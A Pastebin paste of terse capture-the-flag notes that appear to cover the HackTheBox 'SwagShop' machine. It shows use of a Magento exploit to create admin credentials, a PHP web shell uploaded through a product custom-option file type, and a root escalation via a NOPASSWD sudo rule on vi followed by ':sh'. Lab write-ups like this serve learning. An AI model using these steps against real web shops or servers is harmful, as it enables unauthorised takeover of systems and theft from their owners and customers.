contra

Untitled

Sep 25th, 2019
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.19 KB | None | 0 0
  1. 10.10.10.140
  2.  
  3. searchsploit -m exploits/xml/webapps/37977.py
  4. mod some lines
  5. target = “http://10.10.10.140/"
  6. target_url = target +/index.php+/admin/Cms_Wysiwyg/directive/index/
  7.  
  8. goto index.php/admin
  9. creds forme:forme
  10.  
  11. https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper
  12. https://www.youtube.com/watch?v=nNB9XlRfvzw
  13.  
  14.  
  15.  
  16. use MSFconsole for listener : link : https://www.hackingtutorials.org/networking/upgrading-netcat-shells-to-meterpreter/
  17.  
  18. edit existing product, add a custom file type to php
  19. upload shell, buy the item and checkout to last page
  20. goto .com/media/custom_options/quote and look for your php
  21.  
  22. pop the shell
  23. www-data already has user privs so get user flag
  24.  
  25. sudo -l says that www-data has root privs to vi
  26.  
  27. www-data@swagshop:/home/haris$ sudo -l
  28. sudo -l
  29. Matching Defaults entries for www-data on swagshop:
  30.     env_reset, mail_badpass,
  31.     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
  32.  
  33. User www-data may run the following commands on swagshop:
  34.     (root) NOPASSWD: /usr/bin/vi /var/www/html/*
  35. www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/test.txt
  36.  
  37.  
  38. then just :sh for a root shell!
Advertisement
Add Comment
Please, Sign In to add comment